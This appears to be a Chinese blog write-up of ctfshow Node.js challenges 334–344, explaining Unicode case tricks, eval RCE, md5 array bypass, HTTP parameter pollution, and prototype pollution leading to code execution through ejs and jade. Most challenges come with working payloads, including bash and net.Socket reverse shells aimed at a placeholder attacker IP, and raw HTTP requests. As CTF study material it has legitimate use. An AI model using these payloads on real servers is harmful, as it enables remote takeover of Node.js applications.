ctfshow - web334- 344 - nodejs

题目都是ctfshow的,版权是ctfshow的!!!!!!如果侵权,联系立马删除

web334——Character.toUpperCase()、toLowerCase()

题目

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

my thought

没懂。。就是按代码的登陆后就有flag

image-20220406233113172

right way

考察js的特性

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。

ı  ==>I
ſ  ==>S

在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

İ  ==>i
K  ==>k

web335——RCE

题目

image-20220406234014664

my thought

没想法,123有回显,输入ls提示404

right way

猜测代码为eval('console.log(xxx)'),xxx为输入的内容,可以执行js代码

way1
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'ls').stdout.toString()
require( 'child_process' ).spawnSync( 'cat',['fl00g.txt']).stdout.toString()
way2
require("child_process").execSync('cat f*')

可看

global.process.mainModule.constructor._load('child_process').exec('calc')


web336

my thought

好像把335的way2ban了,way1还能使用

payload

require( 'child_process' ).spawnSync( 'ls').stdout.toString()
require( 'child_process' ).spawnSync( 'cat',['fl001g.txt']).stdout.toString()

right way

学学别人的思路

way1

?eval=__filename
通过全局变量,读取当前目录位置
————>/app/routes/index.js

读源码

????

?eval=require('fs').readFileSync('/app/routes/index.js', 'utf-8');  
————>
var express = require('express'); 
var router = express.Router(); 
/* GET home page. */ 
router.get('/', function(req, res, next) { 
 res.type('html'); 
 var evalstring = req.query.eval;
 if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
     res.render('index',{ title: 'tql'});
 }else{
     res.render('index', { title: eval(evalstring)});
 }
}); 
module.exports = router;

ban了exec、load

nodejs引入函数不仅能通过package.function还能通过package['function']

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

加号需要url编码,否则可能会被解析为空格

way2

读路径下文件
?eval=require('fs').readdirSync(".")
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

way3

?eval=var s='global.process.mainModule.constructor._lo';var b="ad('child_process').ex";var c="ec(%27ls>public/1.txt%27);";eval(s%2Bb%2Bc)%3B
访问1.txt

web337——md5数组绕过

题目

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      res.end(flag);
  }else{
      res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

my thought

js也是弱类型语言参考,类似于php,nodejs应该也是吧

payload

a[x]=1&b[x]=2

web338——原型链污染

题目

https://ctfshow.lanzoui.com/iAV6Xjs9bzc

right way

自己没做出来的原因是源码不知道哪里是关键。。。

/routes/login.js中是解体的关键

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

/utils/common.js中是copy的定义

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

类似p牛文章里的merge函数

发包中,构造让原型中的ctfshow=36dboy

image-20220418225620395

参考

因为原型污染,secret对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'

payload

{"__proto__":{"ctfshow":"36dboy"}}


web339——原型链污染 +

题目

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

my thought

大眼一看和上题差不多吧,利用__proto__添加属性ctfshow=flag。

不大行啊,兄弟

{"__proto__":{
"ctfshow":"flag_here"
}}
这个是有点憨。。
{"__proto__":{
"ctfshow":flag
}}
这个语法貌似有问题

right way

非预期解

没看懂

预期解

routes文件夹下,与上题不同,多了api.js。

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)}); 
});
module.exports = router;
这里的可污染点存在匿名函数调用,与p牛的Code-Breaking 2018 Thejs类似

Function(query)(query)这块的理解建议看tari师傅的讲解

链子还是触发的login.js中的utils.copy(user,req.body);,然后跳转到api.js的res.render('api', { query: Function(query)(query)});

payload

先post /login污染原型链

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/111780832
或
{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}
POST /login HTTP/1.1
Host: dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show
Content-Length: 158
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show
Referer: http://dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/9906 0>&1\"')"}}

然后post /api触发

POST /api HTTP/1.1
Host: dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show
Content-Length: 0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show
Referer: http://dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close

中间还有require的问题

如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令

web340——原型链污染 ++

题目

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
});

module.exports = router;

api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

module.exports = router;

my thought

关键点在user这里

var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  要先把isAdmin改为true,相当于在user类中又定义了userinfo类(这里不清楚视角类还是对象
  {"__proto__":{"__proto__":{"isAdmin":"true"}}}    
  不行啊兄弟。。
  > 貌似叫这遮蔽属性,类似于面向对象的语言里子类的值和父类的关系。

right way

!不能直接修改isAdmin的值,那继续反弹

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/9906 0>&1\"')"}}}

payload

post /login

POST /login HTTP/1.1
Host: c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show
Content-Length: 172
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show
Referer: http://c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/9906 0>&1\"')"}}}

post /api

POST /api HTTP/1.1
Host: c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show
Content-Length: 0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show
Referer: http://c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close


web341——原型链污染 +++

题目

login.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

没有了api.js,就不能用之前的方法触发反弹shell

right way

ejs模板引擎的原型链污染RCE

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();var __tmp2"}}}   
这个我打不通
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1\"');var __tmp2"}}}
前面的_tmp1和后面的var __tmp2不能删,web338 evil0 的分析有体现到,是为了闭合代码。

post /login

POST /login HTTP/1.1
Host: 9ee0ae5f-55d7-483d-a005-c80a73eabd50.challenge.ctf.show
Content-Length: 393
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://9ee0ae5f-55d7-483d-a005-c80a73eabd50.challenge.ctf.show
Referer: http://9ee0ae5f-55d7-483d-a005-c80a73eabd50.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(9906,'xx.xx.xx.xx',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();var __tmp2"}}}

然后请求一个会调用 render 方法的接口(不懂

flag在根目录


web342——原型链污染 ++++(jade原型

题目

模板引擎换成了jade

jade rce

(调用栈梳理不知道怎么梳理的,不太懂

分析得特别好

right way

{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/2233 0>&1\"')"}}}
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/81 0>&1\"')"}}}
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"')"}}}
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

!!post数据的时候一定要把Content-Type改成 application/json,如果是application/x-www-form-urlencoded会有问题


web343——原型链污染 ++++(jade原型

同上

过滤的代码为

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;
    };
  };
  if(JSON.stringify(req.body).match(/Text/ig)){
    res.end('hacker go away');
  }else{
    utils.copy(user.userinfo,req.body);
    if(user.userinfo.isAdmin){
      return res.json({ret_code: 0, ret_msg: '登录成功'});
    }else{
      return res.json({ret_code: 2, ret_msg: '登录失败'});
    }
  }
});
module.exports = router;

JSON.stringify(req.body).match(/Text/ig)


web344——HPP

题目

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
      res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
      res.end(flag);
  }else{
      res.end('where is flag. :)');
  }

});

my thought

构造

{"name":"admin","password":"ctfshow","isVIP":true}

不好使

逗号被禁用,并且发包时,经过url编码,"->%22会出现%22c同样过不去if

逗号用&代替

right way

HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的,下面链接列举了一些

https://www.cnblogs.com/AtesetEnginner/p/12375499.html

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

payload

/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

重看

335、338、339、341


参考

https://tari.moe/2021/05/04/ctfshow-nodejs/

http://www.yongsheng.site/2021/11/16/ctfshow%20nodejs/

https://lonmar.cn/2021/02/15/nodejs/

https://blog.csdn.net/miuzzx/article/details/111780832

https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html

https://xz.aliyun.com/t/7184

https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/

本文链接:

https://littlewhite.fun/493.html
1 + 8 =
快来做第一个评论的人吧~